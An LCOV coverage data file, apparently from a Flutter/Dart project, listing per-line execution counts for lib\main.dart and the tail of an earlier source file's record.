+DA:235,1 +DA:238,1 +DA:242,0 +DA:247,0 +DA:248,0 +DA:251,0 +DA:254,0 +DA:257,0 +DA:260,0 +DA:263,0 +DA:267,0 +DA:272,1 +DA:273,1 +DA:276,2 +DA:279,1 +DA:280,1 +DA:283,0 +DA:286,1 +DA:289,1 +DA:293,0 +DA:298,0 +DA:299,0 +DA:302,0 +DA:309,0 +DA:314,0 +DA:319,1 +DA:320,1 +DA:321,1 +DA:322,1 +DA:323,2 +DA:325,2 +DA:326,2 +DA:327,4 +DA:329,1 +DA:332,1 +DA:333,2 +DA:334,3 +DA:336,2 +DA:337,3 +DA:338,4 +DA:339,1 +DA:342,1 +DA:345,0 +DA:346,0 +DA:347,0 +DA:348,0 +DA:349,0 +DA:352,1 +DA:353,1 +DA:354,2 +DA:355,1 +DA:358,1 +DA:359,2 +DA:360,2 +DA:361,2 +DA:362,2 +DA:363,2 +DA:364,2 +DA:366,1 +DA:367,1 +DA:368,1 +DA:369,1 +DA:370,1 +DA:371,1 +DA:373,1 +DA:376,0 +DA:378,0 +DA:379,0 +DA:380,0 +DA:386,1 +DA:387,2 +DA:388,1 +DA:389,6 +DA:390,1 +DA:391,1 +LF:174 +LH:120 +end_of_record +SF:lib\main.dart +DA:25,0 +DA:27,0 +DA:29,0 +DA:31,0 +DA:36,1 +DA:38,1 +DA:40,0 +DA:42,0 +DA:47,0 +DA:49,0 +DA:51,0 +DA:53,0 +DA:58,1 +DA:60,1 +DA:62,0 +DA:64,0 +DA:69,1 +DA:71,1 +DA:73,0 +DA:75,0 +DA:90,0 +DA:91,0 +DA:93,0 +DA:94,0 +DA:95,0 +DA:96,0 +DA:99,0 +DA:100,0 +DA:101,0 +DA:105,0 +DA:106,0 +DA:107,0 +DA:108,0 +DA:109,0 +DA:110,0 +DA:121,0 +DA:123,0 +DA:124,0 +DA:126,0 +DA:131,0 +DA:133,0 +DA:134,0 +DA:136,0 +DA:137,0 +DA:138,0 +DA:140,0 +DA:141,0 +DA:142,0 +DA:145,0 +DA:146,0 +DA:147,0 +DA:150,0 +DA:155,0 +DA:157,0 +DA:158,0 +DA:159,0 +DA:161,0 +DA:162,0 +DA:163,0 +DA:167,0 +DA:169,0 +DA:170,0 +DA:172,0 +DA:177,0 +DA:179,0 +DA:180,0 +DA:182,0 +DA:183,0 +DA:188,1 +DA:190,1 +DA:191,0 +DA:193,0 +DA:198,0 +DA:200,0 +DA:201,0 +DA:202,0 +DA:204,0 +DA:205,0 +DA:206,0 +DA:210,0 +DA:212,0 +DA:213,0 +DA:214,0 +DA:216,0 +DA:217,0 +DA:218,0 +DA:223,0 +DA:225,0 +DA:226,0 +DA:228,0 +DA:229,0 +DA:230,0 +DA:232,0 +DA:233,0 +DA:234,0 +DA:236,0 +DA:239,0 +DA:240,0 +DA:241,0 +DA:244,0 +DA:249,0 +DA:251,0 +DA:252,0 +DA:253,0 +DA:255,0 +DA:256,0 +DA:257,0 +DA:267,0 +DA:269,0 +DA:270,0 +DA:272,0 +DA:278,0 +DA:280,0 +DA:283,0 +DA:287,0 +DA:289,0 +DA:292,0 +DA:297,0 +DA:299,0 +DA:300,0 +DA:302,0 +DA:303,0 +DA:307,0 +DA:309,0 +DA:310,0 +DA:312,0 +DA:313,0 +DA:317,0 +DA:319,0 +DA:320,0 +DA:322,0 +DA:323,0 +DA:327,0 +DA:329,0 +DA:330,0 +DA:332,0 +DA:346,3 +DA:347,3 +DA:348,2 +DA:349,1 +DA:350,0 +DA:351,0 +DA:352,3 +DA:354,3 +DA:355,3 +DA:356,3 +DA:357,0 +DA:358,3 +DA:360,0 +DA:365,0 +DA:366,0 +DA:368,0 +DA:373,0 +DA:374,0 +DA:375,0 +DA:380,0 +DA:381,0 +DA:382,0 +DA:384,0 +DA:386,0 +DA:388,0 +DA:389,0 +DA:394,0 +DA:396,0 +DA:399,0 +DA:400,0 +DA:406,0 +DA:407,0 +DA:408,0 +DA:413,0 +DA:414,0 +DA:415,0 +DA:417,0 +DA:418,0 +DA:420,0 +DA:421,0 +DA:426,0 +DA:428,0 +DA:431,0 +DA:432,0 +DA:437,0 +DA:438,0 +DA:439,0 +DA:440,0 +DA:441,0 +DA:442,0 +DA:443,0 +DA:444,0 +DA:445,0 +DA:449,0 +DA:450,0 +DA:453,0 +DA:455,0 +DA:457,0 +DA:458,0 +DA:459,0 +DA:461,0 +DA:463,0 +DA:466,0 +DA:467,0 +DA:470,0 +DA:474,0 +DA:475,0 +DA:478,0 +DA:479,0 +DA:482,0 +DA:484,0 +DA:486,0 +DA:490,0 +DA:494,0 +DA:496,0 +DA:498,0 +DA:500,0 +DA:504,0 +DA:505,0 +DA:506,0 +DA:507,0 +DA:508,0 +DA:511,0 +DA:516,0 +DA:519,0 +DA:521,0 +DA:522,0 +DA:523,0 +DA:527,0 +DA:531,0 +DA:532,0 +DA:533,0 +DA:534,0 +DA:535,0 +DA:537,0 +DA:539,0 +DA:547,0 +DA:549,0 +DA:552,0 +DA:557,0 +DA:559,0 +DA:562,0 +DA:567,0 +DA:569,0 +DA:571,0 +DA:576,0 +DA:578,0 +DA:580,0 +DA:586,0 +DA:588,0 +DA:590,0 +DA:596,0 +DA:598,0 +DA:600,0 +DA:604,0 +DA:606,0 +DA:608,0 +DA:609,0 +DA:613,0 +DA:615,0 +DA:617,0 +DA:618,0 +DA:623,0 +DA:625,0 +DA:627,0 +DA:632,0 +DA:634,0 +DA:635,0 +DA:637,0 +DA:642,0 +DA:644,0 +DA:646,0 +DA:653,1 +DA:655,2 +DA:656,1 +DA:657,2 +DA:676,1 +DA:678,1 +DA:679,2 +DA:682,1 +DA:683,1 +DA:686,1 +DA:689,1 +DA:695,1 +DA:697,1 +DA:699,1 +DA:705,1 +DA:708,1 +DA:709,0 +DA:710,0 +DA:711,0 +DA:719,1 +DA:721,1 +DA:722,1 +DA:778,1 +DA:780,1 +DA:782,2 +DA:783,1 +DA:784,1 +DA:785,1 +DA:788,0 +DA:790,0 +DA:791,0 +DA:792,0 +DA:793,0 +DA:795,0 +DA:796,0 +DA:797,0 +DA:798,0 +DA:800,0 +DA:801,0 +DA:802,0 +DA:804,0 +DA:805,0 +DA:806,0 +DA:807,0 +DA:808,0 +DA:809,0 +DA:810,0 +DA:813,0 +DA:814,0 +DA:815,0 +DA:817,0 +DA:820,0 +DA:822,0 +DA:823,0 +DA:824,0 +DA:825,0 +DA:826,0 +DA:827,0 +DA:829,0 +DA:830,0 +DA:831,0 +DA:832,0 +DA:833,0 +DA:834,0 +DA:837,0 +DA:838,0 +DA:839,0 +DA:840,0 +DA:843,0 +DA:844,0 +DA:845,0 +DA:847,0 +DA:849,0 +DA:850,0 +DA:853,0 +DA:855,0 +DA:857,0 +DA:858,0 +DA:859,0 +DA:860,0 +DA:861,0 +DA:862,0 +DA:863,0 +DA:864,0 +DA:866,0 +DA:874,0 +DA:878,0 +DA:879,0 +DA:880,0 +DA:881,0 +DA:882,0 +DA:883,0 +DA:884,0 +DA:885,0 +DA:886,0 +DA:887,0 +DA:895,0 +DA:896,0 +DA:899,0 +DA:903,0 +DA:904,0 +DA:905,0 +DA:906,0 +DA:909,0 +DA:911,0 +DA:912,0 +DA:913,0 +DA:914,0 +DA:917,0 +DA:921,0 +DA:922,0 +DA:923,0 +DA:924,0 +DA:927,0 +DA:928,0 +DA:929,0 +DA:932,0 +DA:933,0 +DA:934,0 +DA:940,0 +DA:941,0 +DA:945,0 +DA:946,0 +DA:947,0 +DA:951,0 +DA:959,0 +DA:966,1 +DA:967,2 +DA:968,2 +DA:973,3 +DA:974,2 +DA:978,1 +DA:979,3 +DA:980,0 +DA:981,0 +DA:982,0 +DA:983,0 +DA:984,0 +DA:985,0 +DA:986,0 +DA:988,0 +DA:991,0 +DA:992,0 +DA:998,3 +DA:999,0 +DA:1002,3 +DA:1003,0 +DA:1007,3 +DA:1008,0 +DA:1009,0 +DA:1010,0 +DA:1011,0 +DA:1012,0 +DA:1019,0 +DA:1020,0 +DA:1021,0 +DA:1025,0 +DA:1026,0 +DA:1027,0 +DA:1028,0 +DA:1031,0 +DA:1033,0 +DA:1034,0 +DA:1035,0 +DA:1037,0 +DA:1038,0 +DA:1042,0 +DA:1044,0 +DA:1047,1 +DA:1049,1 +DA:1050,0 +DA:1052,0 +DA:1053,0 +DA:1055,0 +DA:1059,0 +DA:1060,0 +DA:1061,0 +DA:1063,0 +DA:1064,0 +DA:1067,0 +DA:1068,0 +DA:1069,0 +DA:1070,0 +DA:1076,0 +DA:1077,0 +DA:1085,0 +DA:1087,0 +DA:1088,0 +DA:1089,0 +DA:1090,0 +DA:1091,0 +DA:1092,0 +DA:1094,0 +DA:1095,0 +DA:1099,0 +DA:1100,0 +DA:1102,0 +DA:1103,0 +DA:1104,0 +DA:1107,0 +DA:1108,0 +DA:1109,0 +DA:1110,0 +DA:1112,0 +DA:1113,0 +DA:1114,0 +DA:1115,0 +DA:1119,0 +DA:1121,0 +DA:1123,0 +DA:1124,0 +DA:1125,0 +DA:1130,0 +DA:1131,0 +DA:1132,0 +DA:1136,0 +DA:1138,0 +DA:1139,0 +DA:1140,0 +DA:1142,0 +DA:1143,0 +DA:1144,0 +DA:1145,0 +DA:1149,0 +DA:1151,0 +DA:1155,0 +DA:1156,0 +DA:1160,0 +DA:1162,0 +DA:1163,0 +DA:1164,0 +DA:1166,0 +DA:1167,0 +DA:1168,0 +DA:1169,0 +DA:1172,0 +DA:1173,0 +DA:1174,0 +DA:1175,0 +DA:1176,0 +DA:1181,0 +DA:1182,0 +DA:1183,0 +DA:1185,0 +DA:1186,0 +DA:1193,0 +DA:1194,0 +DA:1196,0 +DA:1198,0 +DA:1199,0 +DA:1200,0 +DA:1201,0 +DA:1202,0 +DA:1205,0 +DA:1211,0 +DA:1212,0 +DA:1213,0 +DA:1215,0 +DA:1216,0 +DA:1218,0 +DA:1219,0 +DA:1223,0 +DA:1225,0 +DA:1226,0 +DA:1227,0 +DA:1229,0 +DA:1235,0 +DA:1236,0 +DA:1237,0 +DA:1239,0 +DA:1240,0 +DA:1249,0 +DA:1250,0 +DA:1251,0 +DA:1252,0 +DA:1260,0 +DA:1262,0 +DA:1263,0 +DA:1266,0 +DA:1270,0 +DA:1271,0 +DA:1274,0 +DA:1275,0 +DA:1276,0 +DA:1277,0 +DA:1278,0 +DA:1280,0 +DA:1282,0 +DA:1287,0 +DA:1289,0 +DA:1291,0 +DA:1292,0 +DA:1293,0 +DA:1301,0 +DA:1302,0 +DA:1305,0 +DA:1309,0 +DA:1310,0 +DA:1311,0 +DA:1313,0 +DA:1317,0 +DA:1318,0 +DA:1319,0 +DA:1320,0 +DA:1341,0 +DA:1342,0 +DA:1343,0 +DA:1346,0 +DA:1347,0 +DA:1348,0 +DA:1349,0 +DA:1353,0 +DA:1363,0 +DA:1365,0 +DA:1366,0 +DA:1369,0 +DA:1374,0 +DA:1376,0 +DA:1379,0 +DA:1380,0 +DA:1387,0 +DA:1388,0 +DA:1389,0 +DA:1390,0 +DA:1392,0 +DA:1393,0 +DA:1396,0 +DA:1397,0 +DA:1398,0 +DA:1399,0 +DA:1400,0 +DA:1401,0 +DA:1402,0 +DA:1404,0 +DA:1405,0 +DA:1414,0 +DA:1421,0 +DA:1422,0 +DA:1423,0 +DA:1425,0 +DA:1427,0 +DA:1429,0 +DA:1431,0 +DA:1433,0 +DA:1435,0 +DA:1442,1 +DA:1443,2 +DA:1444,0 +DA:1445,0 +DA:1448,1 +DA:1449,3 +DA:1450,0 +DA:1451,0 +DA:1452,0 +DA:1455,2 +DA:1456,0 +DA:1457,0 +DA:1459,1 +DA:1461,1 +DA:1462,3 +DA:1463,1 +DA:1464,1 +DA:1465,1 +DA:1466,1 +DA:1467,1 +DA:1468,2 +DA:1471,1 +DA:1476,1 +DA:1477,1 +DA:1478,1 +DA:1479,1 +DA:1480,1 +DA:1482,1 +DA:1483,4 +DA:1484,1 +DA:1486,1 +DA:1488,4 +DA:1493,1 +DA:1494,1 +DA:1497,1 +DA:1498,1 +DA:1500,1 +DA:1503,4 +DA:1506,1 +DA:1507,1 +DA:1508,1 +DA:1510,1 +DA:1511,1 +DA:1512,3 +DA:1521,4 +DA:1522,1 +DA:1523,1 +DA:1526,2 +DA:1527,0 +DA:1528,0 +DA:1529,0 +DA:1531,0 +DA:1534,0 +DA:1536,0 +DA:1538,0 +DA:1544,0 +DA:1545,0 +DA:1553,0 +DA:1554,0 +DA:1555,0 +DA:1556,0 +DA:1557,0 +DA:1566,1 +DA:1567,0 +DA:1568,0 +DA:1569,0 +DA:1570,0 +DA:1572,0 +DA:1573,0 +DA:1577,3 +DA:1578,0 +DA:1580,0 +DA:1586,1 +DA:1588,1 +DA:1592,1 +DA:1593,1 +DA:1594,2 +DA:1595,0 +DA:1597,0 +DA:1604,1 +DA:1606,1 +DA:1607,0 +DA:1647,1 +DA:1648,1 +DA:1651,1 +DA:1652,1 +DA:1653,0 +DA:1654,1 +DA:1655,0 +DA:1656,1 +DA:1657,1 +DA:1658,1 +DA:1659,1 +DA:1661,1 +DA:1667,1 +DA:1669,1 +DA:1670,1 +DA:1671,1 +DA:1672,1 +DA:1673,1 +DA:1674,1 +DA:1675,1 +DA:1678,1 +DA:1679,1 +DA:1681,1 +DA:1691,1 +DA:1692,1 +DA:1693,0 +DA:1694,1 +DA:1697,1 +DA:1700,1 +DA:1702,1 +DA:1712,1 +DA:1713,1 +DA:1715,1 +DA:1716,1 +DA:1717,1 +DA:1718,1 +DA:1719,1 +DA:1720,3 +DA:1721,1 +DA:1722,1 +DA:1723,3 +DA:1728,1 +DA:1729,1 +DA:1730,5 +DA:1733,1 +DA:1735,1 +DA:1736,1 +DA:1737,1 +DA:1739,1 +DA:1740,3 +DA:1741,1 +DA:1742,1 +DA:1743,3 +DA:1746,1 +DA:1748,1 +DA:1749,1 +DA:1750,2 +DA:1752,2 +DA:1755,1 +DA:1756,2 +DA:1757,1 +DA:1760,2 +DA:1764,2 +DA:1765,1 +DA:1768,1 +DA:1769,1 +DA:1775,1 +DA:1776,1 +DA:1784,1 +DA:1785,1 +DA:1786,1 +DA:1787,1 +DA:1788,1 +DA:1790,1 +DA:1793,2 +DA:1801,1 +DA:1802,1 +DA:1803,1 +DA:1805,4 +DA:1810,1 +DA:1812,3 +DA:1817,1 +DA:1819,3 +DA:1824,1 +DA:1826,3 +DA:1828,2 +DA:1838,1 +DA:1844,1 +DA:1845,1 +DA:1847,1 +DA:1848,1 +DA:1849,1 +DA:1850,2 +DA:1852,1 +DA:1853,1 +DA:1854,1 +DA:1856,1 +DA:1861,1 +DA:1863,1 +DA:1865,1 +DA:1866,1 +DA:1867,3 +DA:1877,1 +DA:1878,1 +DA:1880,1 +DA:1881,1 +DA:1882,1 +DA:1883,3 +DA:1884,1 +DA:1886,1 +DA:1887,1 +DA:1888,1 +DA:1889,4 +DA:1890,1 +DA:1893,1 +DA:1894,1 +DA:1895,3 +DA:1909,1 +DA:1910,1 +DA:1911,1 +DA:1912,1 +DA:1913,1 +DA:1914,1 +DA:1915,1 +DA:1916,1 +DA:1921,1 +DA:1922,1 +DA:1923,1 +DA:1924,2 +DA:1925,2 +DA:1930,0 +DA:1931,0 +DA:1932,0 +DA:1934,0 +DA:1937,0 +DA:1939,0 +DA:1940,0 +DA:1941,0 +DA:1942,0 +DA:1944,0 +DA:1946,0 +DA:1947,0 +DA:1949,0 +DA:1955,0 +DA:1956,0 +DA:1957,0 +DA:1958,0 +DA:1968,1 +DA:1969,1 +DA:1971,1 +DA:1972,1 +DA:1975,0 +DA:1976,0 +DA:1978,0 +DA:1979,0 +DA:1981,0 +DA:1983,0 +DA:1985,0 +DA:1986,0 +DA:1987,0 +DA:1999,0 +DA:2000,0 +DA:2001,0 +DA:2002,0 +DA:2003,0 +DA:2004,0 +DA:2014,0 +DA:2015,0 +DA:2016,0 +DA:2017,0 +DA:2020,0 +DA:2021,0 +DA:2022,0 +DA:2023,0 +DA:2024,0 +DA:2029,0 +DA:2030,0 +DA:2031,0 +DA:2032,0 +DA:2033,0 +DA:2037,0 +DA:2038,0 +DA:2039,0 +DA:2046,0 +DA:2051,0 +DA:2052,0 +DA:2053,0 +DA:2055,0 +DA:2056,0 +DA:2073,0 +DA:2074,0 +DA:2076,0 +DA:2077,0 +DA:2078,0 +DA:2080,0 +DA:2082,0 +DA:2083,0 +DA:2085,0 +DA:2095,1 +DA:2096,1 +DA:2098,1 +DA:2099,1 +DA:2100,2 +DA:2101,0 +DA:2102,0 +DA:2103,0 +DA:2104,0 +DA:2105,0 +DA:2107,0 +DA:2109,0 +DA:2110,0 +DA:2112,0 +DA:2115,0 +DA:2117,0 +DA:2120,0 +DA:2122,0 +DA:2125,0 +DA:2127,0 +DA:2137,1 +DA:2138,1 +DA:2141,1 +DA:2142,1 +DA:2144,1 +DA:2150,0 +DA:2151,0 +DA:2152,0 +DA:2153,0 +DA:2155,0 +DA:2157,0 +DA:2160,0 +DA:2163,0 +DA:2165,0 +DA:2167,0 +DA:2168,0 +DA:2169,0 +DA:2176,1 +DA:2177,1 +DA:2178,1 +DA:2180,1 +DA:2182,1 +DA:2183,1 +DA:2184,1 +DA:2185,1 +DA:2187,4 +DA:2191,1 +DA:2193,1 +DA:2196,4 +DA:2200,1 +DA:2201,0 +DA:2206,0 +DA:2207,0 +DA:2208,0 +DA:2209,0 +DA:2210,0 +DA:2213,0 +DA:2215,0 +DA:2216,0 +DA:2225,0 +DA:2227,0 +DA:2230,0 +DA:2240,2 +DA:2241,1 +DA:2247,0 +DA:2248,0 +DA:2250,0 +DA:2252,0 +DA:2253,0 +DA:2254,0 +DA:2255,0 +DA:2256,0 +DA:2258,0 +DA:2260,0 +DA:2261,0 +DA:2270,0 +DA:2273,0 +DA:2274,0 +DA:2283,0 +DA:2284,0 +DA:2285,0 +DA:2293,0 +DA:2294,0 +DA:2296,0 +DA:2298,0 +DA:2299,0 +DA:2300,0 +DA:2303,0 +DA:2304,0 +DA:2305,0 +DA:2307,0 +DA:2308,0 +DA:2309,0 +DA:2310,0 +DA:2319,0 +DA:2320,0 +DA:2322,0 +DA:2323,0 +DA:2325,0 +DA:2326,0 +DA:2327,0 +DA:2330,0 +DA:2331,0 +DA:2340,0 +DA:2341,0 +DA:2342,0 +DA:2343,0 +DA:2344,0 +DA:2345,0 +DA:2350,0 +DA:2351,0 +DA:2352,0 +DA:2354,0 +DA:2355,0 +DA:2356,0 +DA:2367,1 +DA:2368,1 +DA:2369,1 +DA:2371,1 +DA:2373,1 +DA:2374,1 +DA:2375,1 +DA:2376,1 +DA:2378,4 +DA:2382,1 +DA:2384,1 +DA:2387,4 +DA:2391,1 +DA:2392,0 +DA:2397,0 +DA:2398,0 +DA:2399,0 +DA:2400,0 +DA:2401,0 +DA:2404,0 +DA:2406,0 +DA:2407,0 +DA:2416,0 +DA:2418,0 +DA:2421,0 +DA:2427,1 +DA:2428,1 +DA:2433,1 +DA:2434,1 +DA:2435,1 +DA:2436,1 +DA:2437,1 +DA:2440,1 +DA:2442,1 +DA:2443,1 +DA:2452,1 +DA:2454,1 +DA:2457,1 +DA:2468,2 +DA:2469,0 +DA:2470,0 +DA:2471,0 +DA:2473,0 +DA:2474,0 +DA:2475,0 +DA:2479,0 +DA:2481,0 +DA:2482,0 +DA:2483,0 +DA:2487,0 +DA:2489,0 +DA:2490,0 +DA:2491,0 +DA:2495,0 +DA:2497,0 +DA:2498,0 +DA:2499,0 +DA:2507,3 +DA:2508,1 +DA:2511,1 +DA:2512,1 +DA:2513,1 +DA:2514,3 +DA:2515,1 +DA:2517,1 +DA:2518,1 +DA:2519,1 +DA:2522,2 +DA:2525,1 +DA:2527,1 +DA:2530,4 +DA:2534,1 +DA:2535,1 +DA:2538,1 +DA:2540,1 +DA:2546,0 +DA:2547,0 +DA:2548,0 +DA:2549,0 +DA:2551,0 +DA:2553,0 +DA:2555,0 +DA:2556,0 +DA:2557,0 +DA:2558,0 +DA:2559,0 +DA:2560,0 +DA:2566,0 +DA:2567,0 +DA:2568,0 +DA:2569,0 +DA:2570,0 +DA:2571,0 +DA:2572,0 +DA:2585,0 +DA:2586,0 +DA:2588,0 +DA:2590,0 +DA:2591,0 +DA:2592,0 +DA:2593,0 +DA:2595,0 +DA:2597,0 +DA:2598,0 +DA:2600,0 +DA:2607,0 +DA:2609,0 +DA:2611,0 +DA:2613,0 +DA:2614,0 +DA:2627,0 +DA:2628,0 +DA:2631,0 +DA:2632,0 +DA:2633,0 +DA:2634,0 +DA:2635,0 +DA:2636,0 +DA:2637,0 +DA:2641,0 +DA:2642,0 +DA:2643,0 +DA:2644,0 +DA:2645,0 +DA:2646,0 +DA:2648,0 +DA:2649,0 +DA:2650,0 +DA:2652,0 +DA:2653,0 +DA:2654,0 +DA:2659,0 +DA:2660,0 +DA:2662,0 +DA:2663,0 +DA:2664,0 +DA:2665,0 +DA:2668,0 +DA:2674,0 +DA:2675,0 +DA:2676,0 +DA:2678,0 +DA:2679,0 +DA:2680,0 +DA:2688,0 +DA:2690,0 +DA:2691,0 +DA:2692,0 +DA:2694,0 +DA:2695,0 +DA:2709,0 +DA:2710,0 +DA:2711,0 +DA:2712,0 +DA:2713,0 +DA:2714,0 +DA:2715,0 +DA:2716,0 +DA:2718,0 +DA:2721,0 +DA:2722,0 +DA:2723,0 +DA:2724,0 +DA:2726,0 +DA:2727,0 +DA:2728,0 +DA:2730,0 +DA:2731,0 +DA:2732,0 +DA:2737,0 +DA:2738,0 +DA:2740,0 +DA:2741,0 +DA:2742,0 +DA:2743,0 +DA:2746,0 +DA:2750,0 +DA:2755,0 +DA:2756,0 +DA:2757,0 +DA:2759,0 +DA:2760,0 +DA:2771,0 +DA:2772,0 +DA:2774,0 +DA:2776,0 +DA:2778,0 +DA:2782,0 +DA:2784,0 +DA:2786,0 +DA:2788,0 +DA:2790,0 +DA:2792,0 +DA:2794,0 +DA:2796,0 +DA:2798,0 +DA:2800,0 +DA:2810,0 +DA:2811,0 +DA:2813,0 +DA:2814,0 +DA:2816,0 +DA:2818,0 +DA:2821,0 +DA:2822,0 +DA:2823,0 +DA:2827,0 +DA:2828,0 +DA:2830,0 +DA:2832,0 +DA:2840,1 +DA:2841,3 +DA:2842,3 +DA:2844,1 +DA:2845,1 +DA:2847,1 +DA:2849,1 +DA:2850,1 +DA:2851,1 +DA:2852,1 +DA:2854,4 +DA:2858,1 +DA:2860,1 +DA:2863,4 +DA:2869,1 +DA:2870,1 +DA:2871,1 +DA:2873,1 +DA:2878,1 +DA:2880,1 +DA:2892,1 +DA:2898,1 +DA:2899,1 +DA:2901,1 +DA:2902,1 +DA:2903,1 +DA:2904,2 +DA:2906,1 +DA:2907,1 +DA:2908,1 +DA:2910,1 +DA:2912,1 +DA:2918,1 +DA:2920,1 +DA:2922,1 +DA:2923,1 +DA:2924,3 +DA:2933,1 +DA:2934,1 +DA:2936,1 +DA:2937,1 +DA:2938,1 +DA:2940,1 +DA:2946,1 +DA:2947,1 +DA:2948,1 +DA:2950,1 +DA:2952,1 +DA:2953,1 +DA:2954,1 +DA:2955,1 +DA:2957,4 +DA:2961,1 +DA:2963,1 +DA:2966,4 +DA:2972,1 +DA:2973,1 +DA:2974,1 +DA:2976,3 +DA:2980,1 +DA:2982,3 +DA:2988,1 +DA:2989,1 +DA:2990,1 +DA:2992,3 +DA:2996,1 +DA:2998,2 +DA:3000,0 +DA:3001,0 +DA:3002,0 +DA:3014,1 +DA:3015,1 +DA:3016,1 +DA:3018,1 +DA:3020,1 +DA:3021,1 +DA:3022,1 +DA:3023,1 +DA:3025,4 +DA:3029,1 +DA:3031,1 +DA:3034,4 +DA:3040,1 +DA:3041,1 +DA:3042,1 +DA:3044,2 +DA:3048,1 +DA:3050,2 +DA:3056,1 +DA:3057,1 +DA:3058,1 +DA:3060,3 +DA:3064,1 +DA:3066,1 +DA:3077,1 +DA:3078,1 +DA:3079,1 +DA:3081,1 +DA:3082,1 +DA:3083,1 +DA:3084,2 +DA:3086,1 +DA:3088,1 +DA:3089,1 +DA:3091,1 +DA:3099,1 +DA:3101,1 +DA:3103,1 +DA:3104,1 +DA:3105,3 +DA:3115,1 +DA:3116,1 +DA:3118,1 +DA:3119,1 +DA:3120,1 +DA:3122,1 +DA:3124,1 +DA:3126,1 +DA:3128,1 +DA:3134,1 +DA:3135,1 +DA:3136,1 +DA:3138,1 +DA:3140,1 +DA:3141,1 +DA:3142,1 +DA:3143,1 +DA:3145,4 +DA:3149,1 +DA:3151,1 +DA:3154,4 +DA:3160,1 +DA:3162,1 +DA:3163,1 +DA:3165,1 +DA:3167,1 +DA:3172,1 +DA:3174,1 +DA:3175,1 +DA:3177,1 +DA:3183,1 +DA:3184,1 +DA:3185,1 +DA:3186,1 +DA:3187,1 +DA:3193,1 +DA:3194,0 +DA:3200,1 +DA:3201,0 +DA:3202,0 +DA:3203,0 +DA:3211,1 +DA:3212,1 +DA:3213,1 +DA:3214,1 +DA:3215,2 +DA:3217,1 +DA:3218,2 +DA:3222,1 +DA:3223,1 +DA:3227,1 +DA:3228,1 +DA:3233,1 +DA:3234,1 +DA:3235,1 +DA:3237,1 +DA:3238,2 +DA:3242,1 +DA:3243,1 +DA:3245,1 +DA:3246,1 +DA:3253,1 +DA:3254,1 +DA:3256,1 +DA:3257,1 +DA:3260,1 +DA:3272,1 +DA:3273,1 +DA:3274,1 +DA:3276,1 +DA:3278,1 +DA:3279,1 +DA:3280,1 +DA:3281,1 +DA:3283,4 +DA:3287,1 +DA:3289,1 +DA:3292,4 +DA:3298,1 +DA:3300,1 +DA:3301,1 +DA:3303,2 +DA:3304,1 +DA:3306,2 +DA:3307,2 +DA:3309,1 +DA:3310,1 +DA:3312,1 +DA:3313,1 +DA:3321,1 +DA:3322,1 +DA:3323,1 +DA:3325,1 +DA:3327,1 +DA:3328,1 +DA:3329,1 +DA:3330,1 +DA:3332,4 +DA:3336,1 +DA:3338,1 +DA:3341,4 +DA:3347,2 +DA:3348,1 +DA:3350,0 +DA:3351,0 +DA:3353,0 +DA:3354,0 +DA:3361,0 +DA:3372,1 +DA:3373,1 +DA:3374,1 +DA:3376,1 +DA:3378,1 +DA:3379,1 +DA:3380,1 +DA:3381,1 +DA:3383,4 +DA:3387,1 +DA:3389,1 +DA:3392,4 +DA:3398,2 +DA:3399,1 +DA:3401,0 +DA:3402,0 +DA:3403,0 +DA:3411,1 +DA:3412,1 +DA:3413,1 +DA:3415,1 +DA:3417,1 +DA:3418,1 +DA:3419,1 +DA:3420,1 +DA:3422,4 +DA:3426,1 +DA:3428,1 +DA:3431,4 +DA:3437,1 +DA:3438,1 +DA:3439,1 +DA:3440,1 +DA:3441,1 +DA:3443,1 +DA:3444,1 +DA:3445,1 +DA:3446,1 +DA:3447,0 +DA:3450,1 +DA:3457,1 +DA:3458,1 +DA:3459,0 +DA:3462,1 +DA:3476,1 +DA:3477,1 +DA:3479,1 +DA:3481,1 +DA:3482,1 +DA:3484,1 +DA:3490,1 +DA:3492,1 +DA:3494,1 +DA:3496,4 +DA:3507,1 +DA:3508,1 +DA:3509,1 +DA:3511,1 +DA:3512,1 +DA:3515,4 +DA:3518,1 +DA:3520,5 +DA:3521,4 +DA:3525,1 +DA:3526,1 +DA:3529,5 +DA:3530,1 +DA:3531,1 +DA:3532,3 +DA:3536,2 +DA:3538,1 +DA:3539,1 +DA:3542,1 +DA:3543,4 +DA:3557,1 +DA:3558,1 +DA:3559,2 +DA:3560,1 +DA:3569,1 +DA:3570,1 +DA:3571,1 +DA:3572,1 +DA:3573,1 +DA:3574,2 +DA:3578,1 +DA:3579,2 +DA:3581,1 +DA:3583,1 +DA:3588,0 +DA:3589,0 +DA:3590,0 +DA:3591,0 +DA:3593,0 +DA:3595,0 +DA:3596,0 +DA:3598,0 +DA:3599,0 +DA:3601,0 +DA:3603,0 +DA:3605,0 +DA:3607,0 +DA:3608,0 +DA:3611,0 +DA:3612,0 +DA:3613,0 +DA:3615,0 +DA:3616,0 +DA:3618,0 +DA:3619,0 +DA:3621,0 +DA:3622,0 +DA:3624,0 +DA:3626,0 +DA:3628,0 +DA:3629,0 +DA:3630,0 +DA:3631,0 +DA:3632,0 +DA:3633,0 +DA:3637,0 +DA:3638,0 +DA:3639,0 +DA:3643,0 +DA:3647,0 +DA:3649,0 +DA:3651,0 +DA:3653,0 +DA:3661,0 +DA:3662,0 +DA:3663,0 +DA:3667,0 +DA:3668,0 +DA:3671,0 +DA:3673,0 +DA:3674,0 +DA:3690,0 +DA:3692,0 +DA:3693,0 +DA:3694,0 +DA:3702,0 +DA:3704,0 +DA:3705,0 +DA:3707,0 +DA:3708,0 +DA:3710,0 +DA:3711,0 +DA:3712,0 +DA:3713,0 +DA:3714,0 +DA:3718,0 +DA:3719,0 +DA:3721,0 +DA:3722,0 +DA:3724,0 +DA:3725,0 +DA:3726,0 +DA:3733,0 +DA:3734,0 +DA:3736,0 +DA:3737,0 +DA:3739,0 +DA:3740,0 +DA:3745,0 +DA:3746,0 +DA:3747,0 +DA:3748,0 +DA:3756,0 +DA:3759,0 +DA:3762,0 +DA:3763,0 +DA:3764,0 +DA:3765,0 +DA:3766,0 +DA:3770,0 +DA:3774,0 +DA:3775,0 +DA:3776,0 +DA:3778,0 +DA:3779,0 +DA:3780,0 +DA:3783,0 +DA:3787,0 +DA:3788,0 +DA:3789,0 +DA:3794,0 +DA:3795,0 +DA:3796,0 +DA:3806,0 +DA:3807,0 +DA:3808,0 +DA:3809,0 +DA:3810,0 +DA:3812,0 +DA:3813,0 +DA:3814,0 +DA:3815,0 +DA:3816,0 +DA:3819,0 +DA:3820,0 +DA:3821,0 +DA:3825,0 +DA:3830,0 +DA:3831,0 +DA:3839,0 +DA:3840,0 +DA:3841,0 